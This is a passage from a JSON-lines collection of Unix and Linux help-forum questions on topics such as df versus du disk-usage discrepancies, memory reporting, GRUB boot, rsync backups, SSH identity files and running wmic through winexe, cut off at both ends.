1.214069 0.000000 0.000000 0.000000 0.000000 delay 0.07384, dispersion 0.00005 offset 1.214012 8 Sep 17:55:15 ntpdate[9499]: step time server 4.53.160.75 offset 1.217968 sec Based on my previous searches, this result (with the various receive() lines and the offset) suggests that it is communicating with the remote NTP servers correctly (not blocked by a firewall). So, why does it not update my clock when I run it?"} {"_id": "119771", "title": "OSX plist editing causes app crash", "text": "Does anyone have any idea why Finder (or iBooks or Mail, or Preview BUT NOT Terminal) crashes after adding the following key:value to its plist: LSUIPresentationMode -int 4 (puts the Finder's menu bar into hide/show mode, just like the dock) Used to work fine prior to Mavericks. And it's driving me absolutely bonkers as the annoying system menu bar is burning a ghost image into the laptop's display."} {"_id": "153421", "title": "How can I periodically check if my network is up and reconnect if not?", "text": "I've written a script to periodically check whether my network is up by pinging three major sites and disconnecting and then reconnecting my network if all three fail. This script works fine from the command line, even if I don't have an X session. The script looks like this: #!/bin/bash /usr/bin/notify-send -i 'dialog-information' 'Running CheckNetUp.sh' 'Checking whether network is up' AtLeastOneSiteFound=false; # Try to download three sites and indicate a site was found if they work # as long as we can grab at least one site, we're good. # Otherwise, we'll disconnect and reconnect. /usr/bin/wget --spider --read-timeout=15 http://google.ca if [ \"$?\" = 0 ]; then AtLeastOneSiteFound=true; fi /usr/bin/wget --spider --read-timeout=15 http://facebook.com if [ \"$?\" = 0 ]; then AtLeastOneSiteFound=true; fi /usr/bin/wget --spider --read-timeout=15 http://wikipedia.org if [ \"$?\" = 0 ]; then AtLeastOneSiteFound=true; fi if [ \"$AtLeastOneSiteFound\" = false ]; then # Disconnect my wifi (and, consequently, VPN) /usr/bin/nmcli dev disconnect wlp0s20u2 # Bring my wifi up /usr/bin/nmcli con up uuid e23f4af0-7411-4f4e-8d3c-a7cd35b607e1 # Bring my VPN up /usr/bin/nmcli con up uuid 6b0f8740-df8e-411e-adeb-bcf70ced772f fi Here's the problem: the script fails in cron with this error message when it tries to bring up the wifi: Error: Connection activation failed: Not authorized to control networking. I've found a bunch of potential solutions online, but no luck so far. Most promising seemed to be making the wifi and VPN connections system connections/accessible to all users with the passwords in the text configuration but that didn't change anything. EDIT: The script is running under my user in both the crontab and when run manually."} {"_id": "13828", "title": "df says I have 20G more disk space used than du. Why?", "text": "I used du to list all folders and sort by size, the results simply doesn't add up to how much disk space is used(using df). There's about 20G in discrepency, why? [root@xxx lib]# du --max-depth=1 -h /| sort -n -r 310M /lib 123M /root 96K /dev 88M /etc 75G / 73G /var 30M /sbin 20M /boot 20K /tmp 18M /lib64 16K /mnt 16K /lost+found 12K /home 8.0K /srv 8.0K /selinux 8.0K /opt 8.0K /misc 8.0K /media 7.0M /bin 1.2G /usr 0 /sys 0 /proc [root@xxx lib]# df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/VolGroup00-LogVol00 298G 94G 189G 34% / /dev/sda1 99M 26M 69M 28% /boot tmpfs 2.0G 0 2.0G 0% /dev/shm"} {"_id": "17510", "title": "`du -sh` reports different used size than `df -h`", "text": "> **Possible Duplicates:** > linux free disk space confusion > Why is there a discrepancy in disk usage reported by df and du? `df -h` says that I have 494G used on `/var`: Filesystem Size Used Avail Use% Mounted on /dev/sda3 564G 494G 41G 93% /var But `du -sh /var` says it's `350G` What makes them different?"} {"_id": "9612", "title": "Why is there a discrepancy in disk usage reported by df and du?", "text": "I have a Linux(CentOS) server, the OS+packages used around 5GB. Then, I transferred 97GB data from a Windows server to two folders on this Linux server, after calculated the disk usage, I see the total size of the two folders is larger than the disk used size. Run du -sh on each folder, one use 50GB, the other one use 47GB But run df -h, the used space is 96G. (50GB + 47GB + 5GB) > 96GB Is there any problem? Those two folders contain lots of files(1 million+). Thanks."} {"_id": "152092", "title": "Why does df show Available 0 when 1K-blocks minus Used is greater than 0?", "text": "Why does it show 0 in the available column? [root@server log]# df Filesystem 1K-blocks Used Available Use% Mounted on /dev/sda2 4128448 4096484 0 100% / It's an ext3 filesystem."} {"_id": "65461", "title": "GPT Partition - Used Space immediately after creating partition", "text": "I wanted to try out the new GPT system, and used it to partition my new HDD, with the partitions themselves using ext4. For some reason, about 1-2% of the space in each partition is already shown as used, both in `df` and `gparted`. Currently the only content of the partitions is the lost+found folder which occupies all of `16K`. Is there a reason for this? Can this be fixed? Or is this just the space used by the file table (or equivalent)? Edit: Is this more related ext4 than GPT? I found this just now, ext4: How to account for the filesystem space?"} {"_id": "140473", "title": "Why does \"df -h\" show out of sync space used?", "text": "I have tried different commands to see sizes of partitions and space used/left and it seems that they always differ in their results. Here is my space used/left with from the command `df -h`: Size Used Avail Use% Mounted on 395G 355G 21G 95% /home Notice that used and availabe only add up to 376G but size is 395G"} {"_id": "139185", "title": "SSD seems full, but file system says otherwise", "text": "I'm running CentOS and have a 100GB Micron RealSSD P300. It appears that the drive is almost full, as noted by running `df`: Filesystem 1K-blocks Used Available Use% Mounted on /dev/sda3 94753636 86002428 3937948 96% / tmpfs 12298364 0 12298364 0% /dev/shm /dev/sda1 253871 58571 182193 25% /boot However, running `du /` tells another story: 6.9M /bin 56M /boot 188K /dev 28M /etc 3.3M /home 251M /lib 25M /lib64 16K /lost+found 4.0K /media 4.0K /mnt 8.0K /opt 0 /proc 11M /root 18M /sbin 4.0K /selinux 0 /service 4.0K /srv 0 /sys 436K /tmp 1.4G /usr 1.9G /var What could be taking up all of these blocks that I can't see? Could the drive just be broken? I don't have too much experience working with SSDs, so perhaps there's an obvious step I'm missing?"} {"_id": "120311", "title": "Why are there so many different ways to measure disk usage?", "text": "When I sum up the sizes of my files, I get one figure. If I run `du`, I get another figure. If I run `du` on all the files on my partition, it doesn't match what `df` claims is used. Why are there so many different figures for the total size of my files? Can't computers add? Speaking of adding: when I add the \u201cUsed\u201d and \u201cAvailable\u201d columns of `df`, I don't get the total figure. And that total figure is smaller than the size of my partition. And if I add up my partition sizes I don't get my disk size! What gives?"} {"_id": "45771", "title": "df vs. du: why so much difference?", "text": "> **Possible Duplicate:** > Why is there a discrepancy in disk usage reported by df and du? `df` says 8.9G used by the partition mounted in `/` :~$ df -h Filesystem Size Used Avail Use% Mounted on /dev/sda5 227G 8.9G 207G 5% / However, a `du` in `/` yields a **much** smaller number. :~# du -chs / 5.5G / 5.5G total I was expecting a smaller number, but why is to **so much** smaller?"} {"_id": "122884", "title": "Most accurate disk usage report?", "text": "Since disk space is allocated in blocks, is it a more accurate representation of the actual space consumed by a directory to report it in blocks vs bytes? If a file of size 1,025 bytes resides on a file system where space on the file system is doled out in units of 1,024 byte blocks, that file consumes two whole blocks. That seems more accurate than to say that this file consumes 1,025 bytes of space. Edit: File system in question is ext4, no dedupe, no compression, fwiw. This is my attempt: def getDirUsage(filepath, block_size=1024): # block_size as reported by os.statvfs() ''' return the number of blocks consumed by a directory ''' total_size = int(math.ceil(os.path.getsize(filepath)/block_size)) # debatable whether this should be included in the size allfiles = os.listdir(filepath) for f in allfiles: p = os.path.join(filepath,f) if os.path.isdir(p): total_size += getDirUsage(p,block_size) else: total_size += int(math.ceil(os.stat(p).st_size/block_size)) return total_size"} {"_id": "112144", "title": "Disk space shows up as used but not on `du`", "text": "I have a problem where 70G on a server seems unreachable: XXX@XXX:/data$ df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/ubuntu--Storage-root 120G 2.9G 111G 3% / udev 7.9G 4.0K 7.9G 1% /dev tmpfs 3.2G 296K 3.2G 1% /run none 5.0M 0 5.0M 0% /run/lock none 7.9G 0 7.9G 0% /run/shm /dev/sda1 228M 25M 192M 12% /boot /dev/sdb1 19T 70G 18T 1% /data and when checking usage in the mount point `/data/`: XXX@XXX:/data$ du -h 8.0K ./STR1 4.0K ./STR2 16K . nothing shows up"} {"_id": "144700", "title": "df-command free disk-space wrong", "text": "Filesystem Size Used Avail Use% Mounted on /dev/sda1 107G 4.4G 97G 5% / dev 3.9G 0 3.9G 0% /dev run 3.9G 576K 3.9G 1% /run tmpfs 3.9G 23M 3.9G 1% /dev/shm tmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup tmpfs 3.9G 14M 3.9G 1% /tmp tmpfs 788M 4.0K 788M 1% /run/user/1000 Why does df shows 97G Available Disk-Space? Shouldn't it be 102.6?"} {"_id": "81488", "title": "GRUB does not boot automatically", "text": "GRUB does not boot my kernel automatically or display a boot menu. Why not? My /boot/grub/grub.conf contains the following default 0 timeout 5 root (hd0,0) kernel /boot/3.8.13 Instead of booting, I'm given a prompt, I can then do: > kernel /boot/3.8.13 > boot and the kernel will start. I want this to happen automatically. I should probably mention that the kernel _fails_ to boot, but that is a different topic and I don't see how it could be related (I'm assuming GRUB has no way of knowing this, unless it would be something trivial like an incompatible architecture, however it is not that trivial). I _have_ followed the guide at http://www.gentoo.org/doc/en/grub-error- guide.xml section 11. \"Grub Just Shows a Grub Prompt\" In particular I have verified that the file grub.conf exists under /boot/grub and that the menu.lst in the same directory is a symbolic link to grub.conf. I have also executed the grub-install command. I have tried the following arguments to grub-install: grub-install --no-floppy /dev/sda grub-install --root-directory=/boot /dev/sda My system has one physical HDD, /dev/sda. I have /boot on /dev/sda1 and root on /dev/sda2, which is encrypted. However I'm not even trying to make grub load some initrd yet, first things first I want GRUB to at least be able to start the kernel before I try with the initrd."} {"_id": "81489", "title": "Brand new to Linux - running a web server/database server, need to connect to my servers- how?", "text": "I am brand new to Linux. I have a database server and web server both running CentOS. My database server will host MySQL and my web server will host Apache. I am very familiar with Windows and remote desktop. My question: 1. How do I connect to my Linux-based servers? Is there something similar to Remote Desktop, or do I need to use straight command line Linux commands? Ultimately, obviously, I will need to upload my web files to my web server. 2. I need to create a REST based service that will live on my database server- I know this is a very, very broad question, but where would I start with that? Is EVERYTHING Linux-based controlled from the command prompt? **EDIT** My REST service will most likely be written in server side Javascript."} {"_id": "81482", "title": "How to send to background a running process started with sudo?", "text": "I have just installed SLC6 (derived from SL6 derived from RHEL6). I can send a running process to the background by hitting Ctrl-Z in the terminal where it was started. However, I can't do it when I started the command with sudo. It used to work seamlessly in SLC5. Is there any configuration I could do to allow this ? EDIT This is an example of command I try to run : [user@pcald02 ~]$ sudo emacs ^Z^C The Ctrl-Z makes the symbols ^Z appear but nothing else happens. Now I realized that even Ctrl-C is ineffective. Without sudo : [user@pcald02 ~]$ emacs ^Z [1]+ Stopped emacs [user@pcald02 ~]$"} {"_id": "81480", "title": "rsync remote to local automatic backup", "text": "Because all my work is stored on a remote server I would like to auto backup my server monthly and weekly. My server is running Centos 5.5 and while searching the web I'm found a tool named rsync. I got my first update manually by using this command in terminal: sudo rsync -chavzP --stats USERNAME@IPADDRES: PATH_TO_BACKUP LOCAL_PATH_TO_BACKUP I then prompt my password for that user and bob's my uncle. This backups the necessary files from my remote server to my local device but does somebody know how I can automate this? Like automatic running this script every sunday? **EDIT** I forgot to mention that I let direct admin backup the files I need and then copy those files from the remote server to a local server."} {"_id": "149926", "title": "Kexec immediately after Kickstart install (where is cmdline?)", "text": "I used to be able to kexec into a new kernel immediately after a kickstart (anaconda) install via pxe. I was able to do this by figuring out the current kernel version, and grabbing cmdline options by using /boot/grub/grub.conf `cmdline=$(awk /kernel.*console/'{$1=$2=\"\"; print$0}' /boot/grub/grub.conf)` Then: `kexec -l /boot/vmlinuz-$(uname -r) --initrd=/boot/initramfs-$(uname -r).img --append=\"${cmdline}\"` Now I am unable to find what the cmdline options for the next reboot are since /proc/cmdline and the cmdline command only show me what the cmdline is for the installation disc. How would I be able to find out what the cmdline is for next reboot now?"} {"_id": "120271", "title": "Uninstall dig command in centos 6?", "text": "I've realized that for some commands like `wget` and `dig`, we need to use the command `yum` to install them before we can use them. Doing some research the `dig` command doesn't come installed for security purposes and for it's installation we can run the following command: `yum install bind-utils` which is a package that comes with `dig`. So my question's are: * what if I don't want the `dig` command anymore, how do I get rid of it? * Is there an uninstall command I can use?"} {"_id": "82825", "title": "Using winexe to run \"wmic\" commands on a Windows machine", "text": "We use winexe to execute commands on our Windows machines from Linux. For example: winexe -A authfile //syspc4.domain.com \"ipconfig /all\" Expectedly the above prints out the same thing as if you had run cmd.exe on a Windows machine and typed in \"ipconfig /all\" My ultimate goal is to remotely (from Linux) get the Window's machines serial number and model name. This is very easily achievable with the following two commands in cmd.exe locally on the Windows (Windows XP) machine: wmic bios get serialnumber wmic computersystem get model However, any attempts to execute this via winexe simply do not work --- after hitting enter, nothing happens. No error, nothing. It will just appear to be frozen until I ctrl+c out of it. Here are the commands that I've tried: winexe -A authfile //syspc4.domain.com \"wmic bios get serialnumber\" winexe -A authfile //syspc4.domain.com \"cmd wmic bios get serialnumber\" winexe -A authfile //syspc4.domain.com \"cmd /c wmic bios get serialnumber\" winexe -A authfile //syspc4.domain.com \"cmd\" Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\\WINDOWS\\system32>wmic bios get serialnumber In all cases, no response. A quick look at winexe --help reveals a log option, but even with that set, there is no output log of any kind. I found the following post on another forum, in which the person is asking almost the _exact_ same thing as me, and naturally he just never got an answer: http://www.linuxquestions.org/questions/linux- software-2/winexe-780343/ **EDIT** : With debug turned on, this is where it hangs: winexe -d 6 -A authfile //syspc4.domain.com \"wmic bios get serialnumber\" ... IN: async_open(\\pipe\\ahexec, 2) IN: async_open_recv CTRL: Sending command: get version CTRL: Sending command: run wmic bios get serialnumber CTRL: Recieved command: std_io_err 15C40030 IN: async_open(\\pipe\\ahexec_stdin15C40030, 2) IN: async_open(\\pipe\\ahexec_stdout15C40030, 2) IN: async_open(\\pipe\\ahexec_stderr15C40030, 2) IN: async_open_recv IN: async_open_recv IN: async_open_recv **hangs forever here** Then ctrl+c: ^CAborting... ERROR: smb_raw_read_recv - NT_STATUS_PIPE_DISCONNECTED ERROR: smb_raw_read_recv - NT_STATUS_PIPE_DISCONNECTED ERROR: smb_raw_read_recv - NT_STATUS_PIPE_DISCONNECTED ERROR: smb_raw_read_recv - NT_STATUS_PIPE_DISCONNECTED ERROR: on_ctrl_pipe_error - NT_STATUS_PIPE_DISCONNECTED However the curious thing is that even with a command that doesn't fail (like ipconfig /all), it gives the exact same thing: ... IN: async_open(\\pipe\\ahexec, 2) IN: async_open_recv CTRL: Sending command: get version CTRL: Sending command: run ipconfig /all CTRL: Recieved command: std_io_err 15C40031 IN: async_open(\\pipe\\ahexec_stdin15C40031, 2) IN: async_open(\\pipe\\ahexec_stdout15C40031, 2) IN: async_open(\\pipe\\ahexec_stderr15C40031, 2) IN: async_open_recv IN: async_open_recv IN: async_open_recv Windows IP Configuration ... ERROR: smb_raw_read_recv - NT_STATUS_PIPE_DISCONNECTED ERROR: smb_raw_read_recv - NT_STATUS_PIPE_DISCONNECTED ERROR: smb_raw_read_recv - NT_STATUS_PIPE_DISCONNECTED ERROR: smb_raw_read_recv - NT_STATUS_PIPE_DISCONNECTED ERROR: on_ctrl_pipe_error - NT_STATUS_PIPE_DISCONNECTED"} {"_id": "65566", "title": "How do I correct both too many and too few space characters?", "text": "I have files that are edited by people other than me. They contain lines that look like this: This is text I use some Bash shell scripts do a bunch of text replacement functions on these lines of text. However, in order for the text replacements to work, the format has to be exactly correct. Most of the time they are, but of course I can't rely on the editors I'm getting these files from to not make any typos. Part of that format is that there be one space after ``, and one space before ``. No more, no less. So these are all incorrect: This is text This is text This is text This is text I know I can use `sed` to search for _specific_ problems, like two spaces before `` (using `#` instead of `/` since the text I'm acting on also contains `/` characters): sed -i '$ s# #\" #g' *.txt ... but I don't know how to use it to search for an unknown number. Also, in cases where there is no space, then the character adjacent to `` or `` might be anything. Bottom line, how can I search for instances of both zero spaces and of two or more spaces separated the text and `` and `` tags, and convert them to one space?"} {"_id": "46081", "title": "Identifying the system package manager", "text": "Is there a way (from a script) to identify the default system package manager? To clarify, what I want to do is run a given command and, on Debian or any of its derivatives it'll return something like \"apt\", on openSUSE it'll return \"zypp\", on Fedora et al it'll return \"yum\", on Arch Linux it'll return \"pacman\" etc. I know I can do this with something like the following, I just wondered if there was a more robust method that won't break as soon as there is an executable with the same name. which apt >/dev/null 2>&1 if [ $? -eq 0 ] then echo \"apt\" fi # etc..."} {"_id": "46080", "title": "How to merge chunks of text files in a directory to one or more files?", "text": "I have a requirement to merge chunks of text files in a directory to one or more files and then zip the merged file. For ex: If i have half a million text files in a directory, say A. I want to merge sets of 50,000 files into 1 i.e. I will have 10 merged files each having the content of 50,000 files. Finally, I want to zip each merged file, i.e. there will be totally 10 zip files at the end of this process. I tried doing this in shell script. I am unable to find a solution. Can someone let me know the most efficient way to achieve this using a shell script?"} {"_id": "65563", "title": "Change order of Private Keys passed via SSH login", "text": "ssh -i ~/.ssh/username username@xx.xx.xx.xxx -v Server is set to accept only 3 log on tries. The ssh system is trying 3 identity files before attempting the correct identity file. debug2: key: /path/to/.ssh/identity1 debug2: key: /path/to/.ssh/identity2 debug2: key: /path/to/.ssh/identity3 debug2: key: /path/to/.ssh/username How can I remove the 3 incorrect identity files? I have already tried deleting them from the directory. I have also tried updating `~/.ssh/config` Host xx.xx.xx.xxx User username IdentityFile ~/.ssh/username How can I get have ssh use the correct identity file?"} {"_id": "34795", "title": "Correctly determining memory usage in Linux", "text": "I'm a bit confused on some of the results I am seeing from \"ps\" and \"free\". On my server, this is the result of \"free -m\" [root@server ~]# free -m total used free shared buffers cached Mem: 2048 2033 14 0 73 1398 -/+ buffers/cache: 561 1486 Swap: 2047 11 2036 My understanding of how Linux manages memory, is that it will store disk usage in RAM, so that each subsequent access is quicker. I believe this is indicated by the \"cached\" columns. Additionally, various buffers are stored in RAM, indicated in the \"buffers\" column. So if I understand correctly, the \"actual\" usage is supposed to be the \"used\" value of \"-/+ buffers/cache\", or 561 in this case. So assuming all of that is correct, the part that throws me is the results of \"ps aux\". My understanding of the \"ps\" results, is that the 6th column (RSS), represents the size in kilobytes the process uses for memory. So when I run this command: [root@server ~]# ps aux | awk '{sum+=$6} END {print sum / 1024}' 1475.52 Shouldn't the result be the \"used\" column of \"-/+ buffers/cache\" from \"free -m\"? So, how can I properly determine the memory usage of a process in Linux? Apparently my logic is flawed."} {"_id": "119790", "title": "About the usage of Memory in a linux server", "text": "I find my server's memory usage is so high, part of the output of command free is shown below: total used free shared buffers cached Mem: 82446460 81961412 485048 0 152820 77580400 -/+ buffers/cache: 4228192 78218268 Swap: 83841020 200108 83640912 You see, it used almost all of my memory. However, I can't the process which consumes a lot of memory. The following is the output of command `top` which is sorted by `M`. PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 18434 cloud 20 0 19.5g 754m 11m S 0 0.9 13:14.90 jsvc 15420 root 20 0 25.0g 506m 16m S 0 0.6 4:14.67 jsvc 15826 root 20 0 5125m 344m 6896 S 1 0.4 7:37.66 kvm 24435 root 20 0 5229m 299m 6868 S 0 0.4 0:49.09 kvm 16993 root 20 0 4507m 277m 6944 S 0 0.3 27:20.54 kvm 23789 root 20 0 4401m 147m 6896 S 0 0.2 0:28.46 kvm 2057 mysql 20 0 1435m 96m 8208 S 0 0.1 11:37.82 mysqld 15130 root 20 0 812m 7276 3408 S 0 0.0 1:25.45 libvirtd 24993 root 20 0 21832 4396 1720 S 0 0.0 0:00.26 bash I think the memory consumed by processes is less than 3% in total. So, I wonder where my memory goes?"} {"_id": "76643", "title": "Redhat find process memory usage", "text": "When I `cat /proc/meminfo` I see: MemTotal: 1048576 kB MemFree: 11136 kB Buffers: 0 kB Cached: 0 kB SwapCached: 0 kB Active: 0 kB Inactive: 0 kB HighTotal: 0 kB HighFree: 0 kB LowTotal: 1048576 kB LowFree: 11136 kB SwapTotal: 0 kB SwapFree: 0 kB Dirty: 88 kB Writeback: 0 kB AnonPages: 0 kB Mapped: 0 kB Slab: 0 kB PageTables: 0 kB NFS_Unstable: 0 kB Bounce: 0 kB CommitLimit: 0 kB Committed_AS: 0 kB VmallocTotal: 0 kB VmallocUsed: 0 kB VmallocChunk: 0 kB HugePages_Total: 0 HugePages_Free: 0 HugePages_Rsvd: 0 Hugepagesize: 2048 kB when I do `top` and sort by memory I see: %MEM TIME+ COMMAND %22.9 0:44.11 java % 0.1 0:04.57 init % 2.9 0:02.52 /usr/local/cpan % 0.3 0:00.50 sshd % 1.5 0:00.14 mysqld % 0.5 0:00.13 leechprotect % 0.1 0:00.12 bash % 0.4 0:00.11 httpd % 0.3 0:00.07 queueprocd - wa % 0.4 0:00.06 tailwatchd % 0.8 0:00.02 cpsrvd-ssl % 0.1 0:00.02 top % 0.1 0:00.01 syslogd % 0.4 0:00.01 named % 0.1 0:00.00 udevd % 0.0 0:00.00 klogd % 0.0 0:00.00 courierlogger % 0.1 0:00.00 authdaemond % 0.0 0:00.00 authdaemond % 0.0 0:00.00 authdaemond % 0.1 0:00.00 sshd % 0.1 0:00.00 xinetd % 0.1 0:00.00 mysqld_safe % 0.0 0:00.00 courierlogger % 0.1 0:00.00 couriertcpd % 0.1 0:00.00 exim % 0.1 0:00.00 pure-ftpd % 0.1 0:00.00 pure-authd % 0.1 0:00.00 crond % 0.0 0:00.00 atd % 0.2 0:00.00 cPhulkd - proce % 2.8 0:00.00 spamd child % 0.8 0:00.00 cpdavd - accept % 0.4 0:00.00 httpd % 0.4 0:00.00 httpd % 0.4 0:00.00 httpd % 0.4 0:00.00 httpd % 0.4 0:00.00 httpd % 0.2 0:00.00 cpanellogd - sl % 0.1 0:00.00 saslauthd % 0.0 0:00.00 saslauthd % 0.1 0:00.00 ssh-agent Why does top show ~38% used when in reality it used 900mb out of 1000mb? How i know how much memory each process uses?"} {"_id": "14102", "title": "real memory usage", "text": "if I understand correctly, in the following output produced by free, 3535m is the actual free memory available to applications, only 413m is used, is this correct? need some clarification on the difference between Mem and -/+ buffers/cache row. free -m total used free shared buffers cached Mem: 3949 3854 95 0 9 3431 -/+ buffers/cache: 413 3535 Swap: 2047 1322 725"} {"_id": "55376", "title": "free reporting huge amount of used memory", "text": "> **Possible Duplicate:** > real memory usage I recently got access to a machine which remains rather unoccupied. I looked up the available memory and was surprised to see that so much memory has been occupied: $ free -g total used free shared buffers cached Mem: 62 20 42 0 0 18 -/+ buffers/cache: 1 61 Swap: 62 0 62 The same happens when I check /proc/meminfo: $ cat /proc/meminfo MemTotal: 65962088 kB MemFree: 44583348 kB I do not see which process is using 20G of memory when the machine is completely free: $ uptime 11:20:09 up 71 days, 21:31, 4 users, load average: 0.00, 0.00, 0.00 Any clues?"} {"_id": "78797", "title": "better way to get memfree from /proc and convert to decimal", "text": "I'm using awesome wm with bashets to make a little text widget to display the free memory. I wanted to convert the number from total kB to gigs (i.e. 1.2). this is what I came up with... mem_Kb=$(grep -i memfree /proc/meminfo | cut -d: -f2 | tr -d [kB] | sed \"s/^[ \\t]*// ; s/[ \\t]*$//\") mem_Gig=$(echo \"scale = 1 ; $mem_Kb / 1000000\" | bc ) echo mem_Gig: $mem_Gig what are some better / cleaner ways?"} {"_id": "46085", "title": "How do create an encrypted system with multiple Linux distributions?", "text": "A few weeks ago I created a completely encrypted system on a notebook and must say I like the idea. It's a little bit annoying to enter the password on every boot, but it's nice to know even if I loose the computer I don't give my data to other people. With the alternate-cd it's easy to do. Now I have to setup a new system where I want to combine the new idea with my usual usage strategy. There I have more partitions: 3 system, Home, Different Data-Partitions for vm-data, photo-data and mp3-data. The background is that I prefer not to update a system. I prefer to install the new version parallel to the old system. So I can easily test it. Obviously the Data-Partitions are used for both systems. My questions is, how can I easily combine both my strategy and the crypto- approach? Or is it impossible. The way to do the crypted stuff by hand is in my eyes to complicated."} {"_id": "81661", "title": "Error in installing R package headers/libs are not available", "text": "I am installing the R package (`R-3.0.1`) in Red Hat Linux 6.0. Initially when I tried to install it gave the error \u201cF77 compiler not found\u201d. I installed the compiler and tried it again, now the error I am getting is configure: error: --with-readline=yes (default) and headers/libs are not available I tried `./configure --with-x=no` but it doesn't work, again I am getting the same error."} {"_id": "82829", "title": "Unable to access http service intranet", "text": "I'm not sure if this is the right place, if this is the case I will move the question with no problem. I'm setting up a web server for testing Wordpress. Everything works fine if I try to access the website from the same machine, but when I'm trying to access the root directory of the web site (running in my laptop) from a different machine (inside the intranet) I will get an `unable to connect`. I'm passing the IP to the web browser, but the browser redirects itself to localhost. If I ask for a specific file `readme.html` in the root directory I can read the file from the external computer. During the installation I set the HOSTNAME of Wordpress to `localhost`, so I'm guessing there might be some problem with redirection to the wrong machine. If I try to change this name (in the machine running Wordpress) to the name of the machine running Wordpress (the name of the machine is Bestia), Wordpress stops working. Can anyone provide me some ideas as to a possible solution? .htaccess file: RewriteEngine On RewriteBase / RewriteRule ^index\\.php$ - [L] # add a trailing slash to /wp-admin RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L] RewriteCond %{REQUEST_FILENAME} -f [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^ - [L] RewriteRule ^([_0-9a-zA-Z-]+/)?(wp-(content|admin|includes).*) $2 [L] RewriteRule ^([_0-9a-zA-Z-]+/)?(.*\\.php)$ $2 [L] RewriteRule . index.php [L] **Update** In the file `wp-config.php` is present a line define('DOMAIN_CURRENT_SITE', 'localhost'); when I try to change the string `localhost`, redirecting is different from my external computer (actually on both machines); e.g. if I change `localhost` to `Bestia` when I call the IP 192.168.0.111 from the browser of my external machine I am redirected to Bestia (and of course the request fails on both machines, 'cause I have not a DNS server inside my network)."} {"_id": "49050", "title": "Music management software that sync playlists onto Android device", "text": "I am trying to find a music management software that can sync playlists onto my Android phone running Cyanogenmod 9. BTW, this handset does not have an Internet connection. Specifically, I want the device to appear in the software so that I can drag and drop a playlist into it. When this happens, I want the software to not only copy the songs over, but the _playlist_ itself (whether a cue sheet, m3u, or something like that). The more seamless the integration the better. This way, the music player on my handset can start playing the playlist right away and I won't have to reconstruct the list. My search so far seems to indicate Rythmbox and Amarok can do this (can someone confirm?), but are there any others? I would like to know what my choices are before settling on one music manager."} {"_id": "49053", "title": "linux + add X days to date and get new virtual date", "text": "I have Linux ( RH 5.3) machine I need to add/calculate 10 days plus date so then I will get new date (expiration date)) for example # date Sun Sep 11 07:59:16 IST 2012 So I need to get NEW_expration_DATE = Sun Sep 21 07:59:16 IST 2012 Please advice how to calculate the new expiration date ( with bash , ksh , or manipulate date command ?)"} {"_id": "49052", "title": "How to configure a video4linux loopback device", "text": "I am writing an application which is based on Motion. Motion allows me to define a video4linux loopback device: # Output images to a video4linux loopback device # The value '-' means next available (default: not defined) ; video_pipe value # Output motion images to a video4linux loopback device # The value '-' means next available (default: not defined) ; motion_video_pipe value Motion already accesses the webcam to detect motion, now I would like to access images of the webcam, too. I think the loopback device is the right thing to do this. But what do I have to do exactly? Do I have to configure another(?) video4linux device and add it in the configuration? Motion offers documentation about this topic. But I find it hard to get starting, as I am still troubled with how the whole architecture is working."} {"_id": "107898", "title": "Code duplication in a shell script", "text": "My bash script (lets call it `myscript`) takes input either from stdin (pipe), or form a regular file (if filename was provided as an argument) a) someprog | myscript or b) myscript file.txt Then, the data is processed line by line. At the moment, my code looks something like the following: if [ -t 0 ] ; then while read LINE do prog_1 prog_2 ... prog_n done else while read LINE do prog_1 prog_2 ... prog_n done < $1 fi This script works fine, but there seems to be too much duplicity. I am wondering whether there is a better (more elegant) way to do it. All the steps `1` to `n` are the same. The only difference is whether there is a `< $1` at the end or not. is there no better way to do it?"} {"_id": "19022", "title": "How can I make ls show information about the directory specified only, not info about its sub-files or folder contents?", "text": "Say I have folder \"foo\" residing, the home directory. I want to get some info of it, owner, group, permissions, etc... I then do this to try to get the information: cd ~ ls -l foo Of course it now lists the info of the contents of \"foo\" Then I could do something like this cd ~ dir=foo ls -l $foo/.. | awk 'BEGIN { dir=\"'$foo'\" } { if($9 == dir) { print $0 } }' But isn't there an easier way to do this?"} {"_id": "62629", "title": "How to display directory permission without listing permission for their contents", "text": "> **Possible Duplicate:** > How can I make ls show information about the directory specified only, not > info about its sub-files or folder contents? I am new to UNIX and I want to display the permission for several directories without listing the permission for the files inside those directories. I have the following directories - each of this directories contains a file inside them, for example : Directory1 File1 Directory2 File2 Directory3 File3 I am using this command to list directories and their files : `ls di*` what should I add to this command to list the files permission of the directories without listing the files permissions?"} {"_id": "2553", "title": "How to copy a file that is still being written over ssh?", "text": "Here is the situation: 1. I am uploading a large file from client A to a server using sftp. 2. I also need to download this file from the server to client B over ssh. What I would like to do is start the transfer from the server to client B when the upload is still happening from client A. What is the best method/tool to get this done? **UPDATE** : The answers so far are interesting--I'll be sure to read and test them all. Bonus points for answers that don't depend on controlling how Client A is uploading the file. (ie. the only thing we know from client A is that the file is being written to a known filename.)"} {"_id": "2554", "title": "Sharing an X server (session) across computers", "text": "I have 2 computers (both running linux) and I'm currently using synergy to use them. This is great, but now I'm wondering, is there any way (is it possible? being worked on? tried and failed? definitely not possible?) to not only share a mouse/keyboard/clipboard between the computers, but to share an X session? What I'm thinking is being able to drag X windows between monitors. I realize that this is extremely non-trivial to do and I know enough about linux (though not about xserver) that I'd like to pursue this idea even if there's nothing that does this for you. Also, I don't need to be able to just \"install this and it works\". I'm completely willing (and would be surprised if it didn't require) to install custom kernals, or mount partitions between machines, or whatever it takes. Since I assume it would require the same instance of xorg server running on both machines."} {"_id": "81735", "title": "What caused this ext3 filesystem / mounting problem?", "text": "((K)Ubuntu 12.04, kernel 3.2.0-38-generic, fstype ext3) I recently came across the 'great idea' of using hibernation to save state in my main OS, while I boot another OS. I've done this without problems for the last few weeks. A few days ago, my luck ran out .. I resumed from hibernation into my main OS, used it all day (missing a couple warning signs - like being unable to save a file), and then realized that my root filesystem was mounted read-only; I tried remounting with no success, ran fsck, and rebooted. Most things seem to have recovered OK (other than unsaved work (duh/not too big deal), and a Firefox problem), but obviously that's not something I'd like to repeat. Dmesg and /var/log/ logs didn't tell me anything obvious (to my eyes) about what happened. I didn't think to save the output from 